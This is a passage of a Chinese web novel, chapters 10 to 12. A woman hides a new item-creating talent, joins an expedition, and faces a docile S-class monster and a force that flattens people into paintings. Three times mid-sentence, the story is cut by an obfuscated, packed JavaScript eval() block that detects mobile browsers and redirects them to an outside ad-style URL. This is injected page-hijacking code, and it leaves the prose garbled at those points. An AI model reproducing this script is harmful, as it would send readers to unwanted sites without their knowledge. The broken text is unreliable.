“莉莉说谢谢你刚刚替她说话，这杯酒是请你的……” 莉莉应该就是那个看上去未成年的侍应生小姑娘。 凌玖端起酒杯抿了一口，道了谢：“你们都很怕进化人吗？” 酒保耸肩：“肯定是怕的啊，他们都有天赋诶，那可是普通人怎么努力也不可能拥有的能力……” “没有哪个普通人半途解锁天赋变成进化人的吗？” “怎么可能！”酒保仿佛听到了什么天方夜谭，“普通人就是普通人，进化人就是进化人，我们之间是存在基因鸿沟的，基因永远不可能改变。” 凌玖沉吟片刻：“那有没有那种……不会被污染，遇到再强的污染物被污染度依然是0，并且……样貌不会衰老，别人无法察觉他的天赋的……人类？” “进化人目前的最高级别是S级，就算是S级进化人在进入污染浓度超高的区域后，污染值也会升高的。而且怎么会不衰老呢，那岂不是神……等等！” 酒保像是想到了什么：“之前进化人论坛上有种说法，说是S级进化人如果再向上进化的话，成为更高级别的进化人，那就是近乎于神的存在了。” “他们可以无惧污染，既然是神嘛，自然也会生命永驻！不过这只是网友们的传言啦，就连秦渊也只是S级，他已经是进化人的天花板了。” 凌玖又喝了一口酒，醇烈的酒液顺着喉管滑下：“那这种级别的进化人应该叫什么？SS级？” 酒保神秘兮兮地说：“那可是神诶，怎么能用级别来划分。” “deity。” “那才是属于她的尊称。” “你还要喝点吗？”酒保见凌玖的酒杯见底，转身去酒柜拿酒。 凌玖脑袋里晕晕乎乎的，反复回响着“deity”这个词。 deity，神。 她从不相信这些缥缈的信仰，她只是一个平平无奇的人民教师。 过于纷乱的思绪让她有些心乱如麻，只想着尽快再喝一杯。 酒保的动作怎么这么慢？ 她的酒杯需要被填满。 下一秒，酒杯中已经见底的金黄色酒液竟然缓缓回升，随着冰块一起在酒杯中轻晃。 【恭喜宿主完成天赋[创物]的初次使用教学。】 10.巨噬体 酒保拿着威士忌过来的时候，凌玖酒杯中的冰块正在打着旋。 “咦？怎么是满的？”酒保揉了揉眼睛，还以为自己眼花了。 “果然不能熬夜加班，都出现幻觉了，我还以为你的酒喝完了呢……” 凌玖的手心微微沁出了汗。 她端起酒杯抿了一口，甘醇凛冽，和真实的威士忌并无半分区别。 所以所谓[创物]，就是她可以拥有心想事成创造一切物品的能力吗？ 距离她和论坛上那个接头人约定的时间已经过去半个小时了。 凌玖的视线在酒吧内逡巡着，并未发现任何在衣服口袋中插着玫瑰花的人。 除了另一种可能。 凌玖来到酒吧的失物招领处，那条银链正安安静静地躺在带锁的玻璃柜里。 “你好。”凌玖摘下兜帽，“那条项链，请问监控中有查到是谁遗失的吗？” 侍应生小哥把监控的全息投影调了出来：“今天不是有人闹事嘛，来来往往的人太多了，并没有拍到清晰的画面。” 捡到项链的位置正是张琦他们闹事的卡座旁边。 人来人往，遗失项链这种细微的动作的确很难被捕捉到，那么任何一个在此逗留的人都有可能是项链的主人。 包括张琦和那几个进化人、服务生们，甚至匆忙赶来的下城区护卫队。 凌玖正在凝眉思索，门外一个准备换班的侍应生端着托盘走了进来。 他看起来很兴奋，甚至忽略了凌玖这个外人的存在，兴冲冲的跟其他几个同事炫耀：“幸亏我今天多加班了半小时，才能在门口碰到香君大人！她还找我要了一只玫瑰花！” “她真的好温柔！” 凌玖一怔。 香君。 论坛上的神秘人说可以帮她混进特派队，而她的信物就是一支插在上衣口袋的玫瑰花。 所以……这个人会是香君吗？ 拨开眼前的疑云，隐匿在其中的是更大的迷雾。 如果香君就是那个神秘人，她邀凌玖见面的目的……就是交给她这条银链。 那么她接触银链之后解锁天赋力，应该也就不是巧合。 可她为什么要在黑市酒吧这种混乱的地方和她见面，相见之后又一句话也不多说，只是通过这种方式扔下那条项链？ 到底是碍于身份不能和她接触……还是说有其他的什么原因？ 香君又是怎么知道这条银链能解锁她的天赋力的，这条项链到底属于谁？ 亦或者更深层的疑问—— 香君曾经认识她吗？ 有太多想不明白的问题。 就好像冥冥之中有谁在引导她一步一步向前走一样。 不过有一点是清晰的。 她大概是有史以来唯一一个半途进化出天赋的普通人，而香君与她隐晦的接触也在表明—— 她的天赋和身份，都需要保密。 “不好意思，我刚刚喝多了，这会儿想起来了。”凌玖指着那条项链，“项链的确是我的，可以麻烦你把它还给我吗？” …… 处理焦炭山谷S级污染物的特派队很快集结完毕，也算是兴师动众，凌玖跟踪了几日，终于在出发那天看到了在城门口集结的后勤人员。 他们统一穿着了迷彩防护服，凌玖看清楚样式之后，发动[创物]天赋，很快将自己身上的T恤牛仔裤变成了同款。 领头的后勤队长看到不远处身着迷彩的凌玖，还以为她掉队了：“走快点！再过半个小时就要出发了！” 凌玖连忙小跑着跟上。 大家都穿的严严实实，并没有人发现她的异常。 后勤队保守估计也有上百人，除了统一的制服之外，还有一张特制的身份ID卡。 排队刷卡验证信息的时候，凌玖偷偷瞄了一眼其他人的卡面，下一秒，制服的口袋里就出现了一张同样规制，并且印着她照片的卡片。 很快，特派队各方队员集结完成，凌玖跟着大部队坐上了运输车。 大家都穿戴严实，只露出一双眼睛，倒是很适合掩藏身份。 但碍不住旁边坐着个e人。 凌玖身旁的大块头一个人差不多占了俩位置，十分自来熟：“你是进化人吗？” 后勤队还有进化人？ 凌玖摇头：“不是。” 大块头捏着拳头骄傲地说：“我是进化人，力量进化。” 进化人被安排到后勤队……能力可想而知。 不过凌玖高情商：“你很厉害。” 偏偏这人喜欢顺杆儿爬，开始喋喋不休地向凌玖吹嘘自己的能力：“……我的力气很大，你知道吗，后勤清理垃圾的时候我可以一个人拿两个大垃圾桶……” 凌玖实在不想听他说了：“那你一个人可以拿两份工资吗？” 大块头：……瞬间自闭。 这人实在是个打不死的小强，好不容易安静了一会儿，又巴着凌玖问：“你叫什么名字？” 凌玖懒得回答他，把自己的身份ID卡掏了出来。 谁知道在看到凌玖的照片之后，他竟然跟演小品似的，吓得掉凳了。 凌玖：？ 大块头瘫坐在地上，刚刚摔那一下运输车都震了三震。 周围其他人都好奇的张望过来，凌玖不想引起太多注意，伸手去扶他。 谁知他被凌玖碰了一下，更是吓到语无伦次：“你你你你……我我我我……” 俯视角度，透过面罩的镜框，凌玖隐约看清了他的长相。 难怪他吓成这个样子呢。 原来是老熟人啊。 “朱冕。”凌玖掺着他的胳膊，“你先坐起来，别害怕。” 朱冕哆哆嗦嗦的回到座位上，都不敢挨着凌玖，庞大的身体紧张地缩成一团：“你……你没死？” “那种情况下，S级污染物……你怎么可能还活着？” 说着，又连连自责道歉：“对不起，我们当时不应该扔下你，不……张琦推你的时候我应该回去救你的……” 凌玖能看得出来，朱冕是真的很自责。 张琦因为那个A级任务成功升职，而身为进化人的朱冕甚至被安排进后勤队…… 背后到底发生了什么，不用想也猜得到。 蔫头耷脑的，明明又高又胖一大只，却沮丧的像只鹌鹑。 凌玖的班上曾经也有这种学生，身材高大但脾气很好，久而久之就因为好说话而被当成欺凌的对象，在他们身上善良和懦弱仿佛画了等号。 “没关系，既然我还活着，你就不用自责。”凌玖试图给他一点弥补的信心，“如果你实在想要弥补的话，那就保护我吧。” “毕竟我是个普通人嘛，那个S级巨兽还是挺可怕的。” 朱冕的眼睛倏地亮了起来，顿时斗志昂扬，斩钉截铁地说：“我一定会好好保护你的！” 朱冕是真的言出必行。 甚至已经超越了普通保护的范畴，下车的时候要两手搀着凌玖，到达焦炭山谷后始终把凌玖护在身后，甚至在营地发补给物资的时候，也是第一时间把水瓶盖拧开递给凌玖。 大部队这会儿都在领补给，朱冕殷勤的行为实在是太引人注目了，果不其然有人开始打趣他：“朱冕，这是你女朋友？” 朱冕又紧张又羞愤，忐忑地看了凌玖一眼，红着脸反驳：“别……别胡说！她……她是我很重要的朋友！” 不知道为什么，凌玖明明很年轻，身上却总有一种让人很尊敬的长辈感，搞得朱冕很怕她听到别人说的这种插科打诨的胡话，就像和朋友讲玩笑话要避着妈妈似的。 偏偏那几个人也是欺负朱冕习惯了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146037|163843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，仍然没打算放过他：“重要的朋友不就是女朋友咯？猪也能交的到女朋友啊哈哈哈哈哈……” 凌玖蹙了蹙眉，看向身旁有些张皇失措的朱冕。 他又露出了那种沮丧的表情。 明明不喜欢听他们的话，却不知道该怎么反驳，也不敢反驳，只能像只鹌鹑一样缩起脖子…… 啪！ 一道掌风拍在他的后颈，让他将将缩回去的脖子再次挺起来。 凌玖抓起朱冕的手臂，迎上刚刚口出狂言的那人，冷淡地扫了他一眼：“我的确是他很重要的朋友，因为我们曾经一起完成了一个蠕虫寄生的A级任务。” “朱冕就是用这只手捏爆那个虫母的脑袋的，你要不要试试看？” 那人哪还有半点嚣张气焰，吓得往后退了几步，一言不发地溜走了。 凌玖正打算教育朱冕几句，下次遇到这种情况要勇敢说不，谁知道一回头，就看到朱冕像只憨憨狗熊似的抓着她的衣角。 凌玖：……算了。 焦炭山谷的确如同它的名字一样，目之所及都是被烧焦的荒芜。 在营地简单整顿之后，各组就分别被派发了不同的任务，后勤组的主要任务是更新上个在此处殒命的S级编队留下的污染净化装置。 基地之外的世界会存在不同程度的污染，每个需要驻扎的队伍在扎营之前，都会安装污染净化装置。 后勤队被分成了十多个小组，分别去查看分布在营地周围的装置。 只是让凌玖没有想到的是，污染净化装置竟然是一种活菌。 “其实所有的净化都是基于这种活菌展开的，抑制剂、基地的净化所……甚至我们现在穿着的防护服，在呼吸口的位置都有这种活菌，它们可以吞噬污染，以达到净化的目的。” “它们的专业名叫什么来着……” “对，巨噬体。” 朱冕一边向凌玖解释，一边找到了被埋藏在地面上的解锁装置。 按下之后，空地上呈现出密密麻麻如同蛛网一般的全息隐身脉络，运行完毕之后，被隐藏在下方的巨噬体就会显现出来。 等待的过程中，朱冕又道：“可以说是巨噬体支撑着基地存活到今天，但它们也承受了很多。” “吸收污染对于巨噬体来讲其实是一个非常痛苦的过程，但这个过程又必须在它们活着的时候才能完成，所以不论是制作抑制剂从巨噬体身上提取活性物，还是像这种净化装置里面的活菌，都要定期回收让它们回到基地休养生息。” 朱冕掰了掰手指：“最多两周。” 凌玖：“那这些装置里的巨噬体应该已经超过两周了，他们会死吗？” “这个倒不用担心，它们每十天会进行一次分裂繁殖，只是在这种污染的极端环境下，繁殖能力会弱一些，所以就算第一批母体死了，它们的子代还在。”朱冕打开恒温箱，里面装的是从基地带来的血量充足的巨噬体，“及时更新，让这些吸收了污染的巨噬体回到无污染的环境中回回血，以后还能继续工作。” 叮—— 巨噬体的隐身衣终于被解锁。 入目是一片干枯的、树叶经络一样的红色脉网。 风拂过时，红色的菌粉被扬起。 不太对劲。 凌玖蹲下身，捻起一抹红色的菌粉：“死了。” 很快一个穿着研究所蓝色防护服的人小跑过来，怅然地看着凌玖面前的血红脉网：“都死了，怎么都死了？” 朱冕小声问：“不是会分裂出子代吗？怎么会死？” 那研究员的声音都在抖：“没有分裂。” “十天繁殖子代，两周母体死亡，这些母体并不是在十天内，还来不及分裂子代的时候死掉的。” “而是活过两周，自然死亡。” “它们……没有繁殖。” 11.哥斯拉 被重新启动的净化装置发出刺耳的鸣叫声，显示器旁边的红灯急躁地闪烁着。 除了几个眉头紧锁的研究员，好像并没有人意识到巨噬体的死亡到底带来了什么。 后勤队长派人过来清扫了巨噬体的尸体，红色粉-末垃圾一般被装进塑料袋里，负责清扫的后勤队员还在说说笑笑，讨论着晚餐吃什么。 死了一批就再换一批，反正巨噬体这种生物就像韭菜一样无穷无尽。 “你之前说防护服的过滤系统……也是靠巨噬体在过滤污染？” 听到凌玖这么问，朱冕一边把几个装满巨噬体粉-末的垃圾袋运上垃圾车，一边安慰她：“你别怕，这东西死一点很常见的，喏，新的巨噬体培养液已经运来了。” 硕大的红色金属罐正在一罐一罐的从车上搬下来。 后勤队长一边通过通讯器呼叫朱冕，一边站在货车尾冲他招手：“朱冕！还愣在那里干什么？全后勤队就你一个力量进化人，还不赶快来搬东西！” 朱冕连忙小跑过去，肩膀上扛两桶，腋下夹两桶，恨不得脑袋上再顶一桶，充分发挥了力量型进化人在后勤队工作的优势，把自己堆成了一座移动的小山。 “动作都快点！”后勤队长在一旁举着通讯器骂骂咧咧，“半个小时后就要出发了，营地这点儿活还干不完！” 凌玖也准备过去帮忙，就看到一个穿着黑色作战服的年轻男人来到后勤队长身边。 刚刚还趾高气昂的队长立刻弓腰点头，态度十分恭敬：“秦队！我们这边马上好了，绝不会耽误任务……” 秦队？秦渊？ 男人劲瘦高挑，看起来最多二十出头，他没有像其他人一样戴着严密的防护面罩，只戴了黑色覆面，露出一双深邃的眼睛。 “不必麻烦了，后勤队暂时留在营地。” 这可是难得的立功机会，后勤队长哪可能放过：“秦队长，没了我们后勤队哪行啊，战后的清理修复不都得我们干嘛！” 他小声说：“而且咱们都是直属猎人总部的，紧着咱自己人呗，哪能被城防护卫队抢了风头……” “护卫队也会留在营地。”秦渊瞥了他一眼，“任务时限调整到两周，在此期间所有普通人都不能离开营地。” 后勤队和护卫队都是普通人，对于污染的抵抗能力是最差的。 这个建议听起来无可厚非，可明明大家都配备了严密的防护装置，是足以抵挡感染的，临时调整作战计划只能与一些无法透露的特殊因素有关。 比如…… 两周。 正好是一代巨噬体消亡的时间。 后勤队长脑袋都懵了：“两周？出发前不是说任务期限是两个月吗？怎么突然这么着急？” “突然做这种决定，您跟基地报备过吗……” 秦渊凉凉地看了他一眼。 后勤队长一哂，恨不得抽自己一巴掌。 战神秦渊，特派队最高总指挥，他做事情什么时候轮得到他们这种小喽啰质疑了？ 报备什么报备，啧，低情商了。 结果没想到有人比他还低情商：“进化人也是会被污染的，在巨噬体出问题的情况下还贸然带队，你确定你的决策没有问题吗？” 后勤队长眼睛都瞪大了。 是谁这么勇啊？！ 然后一回头，是个穿着他们后勤队服装的女人。 后勤队长：…… “你是哪个组的？胡说八道什么呢！秦队长的决定用得着你操心？！”后勤队长一边拉着凌玖往后躲，一边讪讪地看向秦渊，“秦队您别计较，这人我回去就把她从后勤队开除！” 然后瞪着凌玖：“ID卡拿出来！” 凌玖漫不经心地从兜里掏出ID卡。 “凌玖？以前怎么没见过你？是这次社招新来的吗，怎么这么不懂事……” “我会尽可能保证大家的安全。”秦渊竟然回答了凌玖的问题，他顿了顿，“巨噬体的死亡或许也和这里的污染物有关。” 意思就是这次的任务非出不可。 凌玖叹了口气，看来哥斯拉这个小可爱在劫难逃。 那只能…… “所以只要是进化人就可以参与任务了吗？后勤队的进化人也可以？” 后勤队长下意识地想要阻止她，临开口前却突然刹了闸，期待地看向秦渊：“没错秦队，我们后勤队的确有一位非常优秀的进化人，他因为被我个人的人格魅力折服，所以一直留在我身边做事，由他代表我们后勤队为任务贡献一份力量，这也是我们所有后勤队成员都期盼的事情！” 本着有一个人参战就能分一杯羹的原则，后勤队长兴冲冲地把朱冕拉了过来。 秦渊目光有些迟疑：“就他吗？” 凌玖从后勤队长手里抢回自己的ID卡，手指轻轻一划，一行隐秘的文字又出现在卡面上：“我也是进化人。” ID卡姓名处果然出现了一行闪着荧光的后缀——力量型进化人。 后勤队长：“你竟然也是进化人？奇怪，我刚刚看的时候怎么没注意到……” 秦渊淡淡地扫了几人一眼，视线最后落在凌玖身上，停顿半晌才道：“半小时之后出发。” 后勤队长终于不纠结了，兴冲冲地拍着凌玖和朱冕的肩膀：“优秀的人果然会惺惺相惜！” 凌玖：……是谁刚说要开除她来着？ …… 按照秦渊的指令，大部队被留在了营地。 一起向焦炭山谷进发的只有三十六名原本隶属于S级编队的进化人，以及……凌玖和朱冕这对穿着后勤队服的小喽啰。 朱冕一路上都在惊叹：“你竟然是进化人！竟然也是力量进化人！你怎么不跟我说实话啊？” 凌玖只能编谎：“我的进化能力很弱，约等于无。” 本来以为朱冕可能是有点埋怨或者自信心受挫的情绪在，谁知道听到凌玖说她能力弱时，竟然满脸担忧：“那你干嘛非要毛遂自荐跟过来啊！太危险了，如果我保护不好你怎么办？” 凌玖朝前方的进化人部队努了努嘴：“不是有他们在么？” “那哪能一样啊！你太单纯了！”朱冕拉住她的手臂，又开启了无微不至模式，“真发生危险了那帮人才不会管我们，总之一会儿你就躲在后面，我的任务就是保护你，污染物的事情本来也就轮不到咱们管！” 凌玖冲他笑了笑。 刚刚还急速前进的队伍突然停了下来，走在最前面的秦渊顿住脚步，目光不经意地落在最后排的两人身上。 副队长孔凉也顺着秦渊的视线望过去，不禁失笑：“你说你非带上那两个废物干嘛。” 秦渊回过头，面色有些冷，垂眸向前走着：“他们也是进化人。” “我知道，力量进化人嘛，最低等级的B级，去了也是死。”孔凉耸耸肩。 秦渊显然不想再继续这个话题，显得有些惜字如金：“不会的。” 干掉了一个S级编队的重量级污染物，难不成会对两个B级进化人手下留情？ 孔凉心里暗暗嗤了一声，心想这秦渊还真当自己是战无不胜的神了，好像真的能腾出手保护那两个废物似的。 不过毕竟秦渊是一把手，孔凉也没好在出声讥讽。 “等等。”很快，他眉心拧起，仔细辨别着山谷中植物的气息，“我感觉到它了。” 孔凉的天赋是[植物操控]，属于非常罕见的S级。 他能够大面积的控制植物参与战斗，也能感受到来自植物之间暗流涌动的气息。 这种气息告诉他，那个S级巨兽的位置就在不远处。 他闭上眼睛，屏息凝神，抬手指着南边：“在那边。” 南边风清日朗，甚至连一点烧焦的气味都没有。 秦渊蹙了蹙眉：“别那么快下结论。” 孔凉急了：“我是真的感觉到了！就在那边！” 秦渊看向身后众人：“但我觉得在北边。” 众人看看孔凉，又看看秦渊，那肯定是相信秦渊的。 有人提议：“要不我们还是再往前走走？” 孔凉咬牙，语气也变得冲了起来：“这不是普通的污染物！上面是派我们来团队协作的，你以为真的靠你秦渊一个人就能收拾了那个污染物？” 风声暗涌，气氛剑拔弩张，身后的其他人大气都不敢喘。 谁都知道秦渊的名号，自然也都知道同样战力非凡的孔凉总是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15149904|163843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比他矮一头，心里一直是有情绪在的。 偏偏秦渊面对快要着了火的孔凉依旧平静：“我明白你的意思。” “那不如我们兵分两路吧，我去南边，你们去北边。”秦渊眼睛眯了一下，像是扯了个笑，“你不是说它在南边吗？那就看看我一个人能不能收拾。” 说完他又冲队伍最后的朱冕和凌玖扬了扬手：“你俩跟我走。” 朱冕本来以为这么草率的分队只是开玩笑，谁知道正副队长杠上了，根本没人敢吭声，于是…… 他们两个倒霉蛋居然单独跟秦渊分了一组。 就他们仨人，去南边。 秦渊就算再强……也还是人多的时候安全感更足一点吧？ 回头看着瑟缩在凌玖身旁的朱冕，秦渊催促：“走快点。” 朱冕哭丧着脸跟上。 孔凉和其他众人终于消失在北边视线之外。 这边三人还在慢慢腾腾地往南边走，突然，凌玖感觉到脚下似乎生出一道劲风，就像装了机械滑轮一样，走路不但变得轻松了不少，速度也比之前快了很多倍。 朱冕也讶异的抬起头。 秦渊似乎很着急往前赶：“这样可以走的快一点。” 原来这是他的天赋。 凌玖小声问朱冕：“秦渊的天赋是控制风吗？” “他的天赋叫[元素主宰]。”朱冕夸张地说，“他能够控制风、火、水、电、土五大元素，脚下生风根本不算什么，他可以卷起海啸一般的狂风，能让漫山燃起大火，能闪电结冰下雨，还能控制土地和岩石。” “最重要的是，他能够在战斗的时候将各种元素之力结合起来，那场面……啧啧，说是天神下凡也不为过。” 凌玖好奇地看着前方那个高高瘦瘦的青年。 真这么牛逼？ 三人赶路不过十几分钟，突然感觉到前方一阵地动山摇。 像是有什么巨物在奔跑。 而奔跑的方向竟然是北边。 秦渊面色一滞，回头看了二人一眼，猛地卷起一阵狂风，三人竟然在风中飞了起来，在空中急速朝北飞去。 但即便是这么快的速度，还是晚了一步。 北边地动山摇，烈焰灼起，连绵的森林在超高温的火焰中瞬间化为焦炭。 甚至连燃烧的过程都被省略了。 浓烟滚滚袭来，秦渊用风在几人口鼻处形成了一道风旋，避开呛人的烟雾。 凌玖也在急速的飞行中影影绰绰地看到了眼前的景象—— 像一座小山似的哥斯拉正暴躁地竖着尾巴，各种进化人的天赋纷纷招呼在它身上。 染上焦土的藤蔓巨蟒一般缠上它的身体，巨石从各个角度砸向它的脑袋，五颜六色的子弹在它坚硬的皮肤上炸出火花。 哥斯拉的尾巴烦躁地扫动着，鼻孔喘着粗气，像是再也忍无可忍，仰着头猛地喷出一大口白金色的烈焰—— 那些纷至沓来的石头、植物、子弹，都在一瞬间化为了灰烬。 飞的越近，温度越高，战斗的场景也就越清晰。 那些萦绕在哥斯拉身旁的渺小进化人就像靠近灭蚊灯的飞蛾，扑簌簌地倒下。 秦渊立刻甩出一道天堑一般的冰幕，挡在众人身前。 至少七八米厚的冰幕几乎是在一瞬间就化为了水汽，蒸腾凝结，如雨一般落下。 幸好这冰挡下了一部分灼人的温度。 死里逃生的众人纷纷后退，看着飞来的秦渊三人喜出望外：“秦队来了！” 濛濛水雾中，秦渊挡在了众人前方。 哥斯拉发出一声响彻山谷的怒吼，看上去余怒未消，被挡了一招当然气急，甩着前爪和尾巴张牙舞爪地瞅着秦渊。 似乎想要蓄力再来一波。 朱冕拉着站在秦渊不远处的凌玖往后跑：“还傻站着干什么，快躲啊——” 哥斯拉似乎也注意到了秦渊身后的两人。 它的动作僵硬了一下。 凶狠的竖瞳在与凌玖视线相触之后，像是突然被切断了电源键，整只兽呆若木鸡，如同一只巨型手办。 然后又以迅雷不及掩耳之势，双手背后，小学生式坐好。 众人：？ 12.二维化 哥斯拉的动作让所有人都有些猝不及防。 整个山谷安静了半分钟。 站在秦渊身后的众人要么被烧伤，要么被烟雾呛的呼吸困难，而此时所有的呻-吟和咳嗽声竟然都不约而同的停止了。 人与兽以一种尴尬的姿态面面相觑。 恍惚间他们仿佛在巨兽脸上看到了一种近乎讨好的表情—— 有点害怕，又有点紧张，还有些热泪盈眶。 孔凉收起掌心滋长的藤蔓：“它咋了？” 有人答：“像看到了班主任似的。” “它好像是在怕谁……” 朱冕震惊地看着凌玖，拉着她的手都在颤抖，不可置信地喊道：“它在看我们这边！” “我知道了！它是在怕……” 凌玖对上朱冕目光灼灼的眼神，紧张的吞了吞口水。 “它在怕……”朱冕手臂一转，指向秦渊，“它在怕秦队！” 凌玖：…… 松了口气。 众人纷纷开始附和：“原来如此！” “到底是威名远播的战神，连S级污染物都会闻风丧胆！” “刚刚看到秦队那一堵冰墙估计把它吓瘫了呢！” …… 孔凉仔细观察着哥斯拉的眼睛，有些不情不愿地说：“我怎么感觉怪怪的呢，它眼睛看的好像不是秦渊啊……” 朱冕拉着凌玖的手腕左蹦右跳，对孔凉的嫉妒心嗤之以鼻：“这个位置就我们仨人，它不是在看秦队难道会是看我吗？我就不信……” 话音戛然而止。 因为哥斯拉血红的眼珠子正在随着朱冕和凌玖的运动轨迹而上蹿下跳。 朱冕：“……它它它它真的是在看我？它……怕我？” 哥斯拉的巨型长尾小狗似的欢快地甩啊甩，然后地动山摇。 众人：…… 朱冕顿时有一种天将降大任于斯人也的感觉，紧张地手都不知道该放在哪里了，拍着脑门来回踱步：“难道……难道我平凡的身躯只是神的伪装？我才是那个将拯救末世于水火之中的天神下凡，人类之光？！” “我就说我怎么总觉得饿呢！” 朱冕抓着凌玖的肩膀，满眼小星星：“原来是我神之圣体在觉醒！” 凌玖：…… 凌玖没忍心打击朱冕单纯的积极性，只是抬头瞟了眼哥斯拉，又看向朱冕：“你冷静点。” 是跟朱冕说的，也是跟哥斯拉说的。 两大只都迅速接受到了凌玖的信号，一只停止甩尾乖乖做好，眼神都变得澄澈了；另一只深吸一口气故作沉稳地回过头，然后看到乖巧如人机的哥斯拉：…… “它果然怕我——” 并不是所有人都像朱冕一样憨憨。 孔凉的视线落在了凌玖身上，他眉心紧锁，眼神有些迟疑，正打算开口：“你……” 秦渊却突然打断了他的话：“你们是怎么遇到目标污染物的？” 孔凉凌厉的目光不情不愿地从凌玖身上挪开：“我们发现了瀑布后面的山洞，然后它就发了疯似的从南边跑过来了。” 为了印证自己断言哥斯拉在南边的判断，他又补充道：“如果不是它跑过来攻击我们，你们三个这会儿估计早就嗝屁了。” “所以是它先出手的吗？”秦渊问。 后排有人小声说：“……也不是，那个怪兽跑过来的时候我们都吓了一跳，孔副队先用藤蔓捆住了它，结果它居然在吃藤蔓上的树叶……” “后来我们都打它的时候它还是在吃瀑布前面的那几棵树叶……” 凌玖忍无可忍：“那它后来为什么喷火？” 那人声音更小了：“……子弹没瞄准把它正在吃的树轰倒了。” 凌玖：…… 凌玖看了眼孔凉掌心里还留着的树叶尖尖—— 果然是桦树叶。 那是哥斯拉的唯二口粮。 别看它长得那么狰狞恐怖一只，其实它是吃素的，最爱吃的就是榴莲和桦树叶。 这么想想好像就更委屈了。 乖乖巧巧躲在山谷里猥-琐求生的哥斯拉小朋友，只是出来吃几口树叶，就要被人类炮轰雷击吗？ 还有没有王法了？！ 孔凉嗤了一声：“别说的好像它受了什么委屈似的。” “这个庞然大物是目前我们遇到过的最骇人的S级污染物，一整个S级编队都死在它手上，我们来这里的目的就是为了除掉他，拿走孢子。” 训练有素的进化人编队在得到副队长孔凉的指令后，迅速重整队形，做出攻击姿势。 哥斯拉好像还有点懵。 它委屈巴巴地看了凌玖一眼，又看向准备放大招的其他人，纠结了半秒，还是举起爪子怒吼一声，站在了瀑布水帘下。 庞然巨兽的吼声消弭了整个山谷的声纹，枯焦的地面也随着这声低吼而震颤。 孔凉对动植物有着超出常人的敏锐洞察力。 他很快发觉了哥斯拉行为上的异常：“我怎么感觉……它好像在保护着那片瀑布。” “它似乎不想让我们过去。” 绢缎一般莹白的瀑布从山头倾泻而下，水花清澈绵密，潺潺没入山谷中的碧潭。 而哥斯拉此时就矗立在水潭之中，水面淹没了它的双-腿，即便所有的进化人都做出攻击的姿势，它也没有半分想躲的意思。 眼神看起来十分坚定。 孔凉眉心紧锁：“瀑布后面……有什么？” “对方实力太强，我们胜算不大。”秦渊冲身后的队伍扬了扬手，“先冷静一下。” “它没有想要主动攻击的意思，我们应该先调查一下瀑布后面的情况。” 难得两位队长达成了共识。 队伍中有两名A-级进化人拥有隐身的能力，秦渊决定亲自带着两人偷偷靠近瀑布。 很快劲风卷起，在两名隐身人的脚下形成了精准的托举力，三人腾空飞起，从林子南侧悄然靠近瀑布。 哥斯拉并没有对几人的靠近产生任何的攻击意图，正如大家预料的那样，它甚至都没有发现有人出现在它身后。 秦渊虽然无法隐身，但他将自己的身体-液化，与风一起隐没在瀑布中，也起到了隐身的效果。 然而就在所有人屏息凝神之际，瀑布中突然传来一声轰然巨响，像是有什么爆炸了一般，气浪在水面炸出一朵巨型的蘑菇云。 在蒸腾的水雾中，刚刚钻入瀑布中的三人几乎是落荒而逃，两个A-级进化人的身体也从隐身状态中慢慢剥离。 三人都面露惊恐，没等他们从水中离开，最靠后的那名进化人的身体突然像被挤压了似的，迅速变成一张薄片，更准确的说…… 是变成了一副画。 一切快到眨眼都来不及。 变成画的不止那个进化人，他身边的一切物体，都在这场二维 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15162873|163843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 化的蔓延中被波及。 就像是被水洇湿的纸面，除了那条瀑布，周围的山石树木和花草都在呈辐射型的蔓延、压缩。 被压扁，又猛地被塞进了一张山水画卷里。 已经二维化的那个进化人还惊恐地张着嘴，他伸着手向前，步伐极大，求生欲爆棚的动作硬生生变成了一张被定格的照片。 接着是另一名A-级进化人。 他惊恐地向前扑去，却从落后的那只脚开始被挤压成薄片，嵌入画中。 秦渊试图去捞他的手臂，那张巨幅画卷就像被甩开的卷轴，车轮一般急速朝秦渊扑来。 哥斯拉也发现了这边的异常。 它似乎想伸出爪子去扯破那张画，可身体就像被吸入画中一样，不过几秒钟的功夫，刚刚还令进化人们闻风丧胆的S级巨兽也被压缩成了一张僵硬的图片。 秦渊急速后退，无数火球从他掌心飞射而出，朝画面中央袭去—— 可下一瞬，被二维化的火球竟然原封不动地弹了回来。 已经二维化的图片似乎可以免疫所有攻击。 秦渊一边后退，一边放射攻击—— 冰柱、雷电、土石……甚至是雷电与风暴结合而成的巨大风暴球，那副二维画卷依然岿然不动。 所有炫目的攻击都被原封不动的打了回来。 以二维的方式。 扑簌簌的技能照片如雪花一般落下。 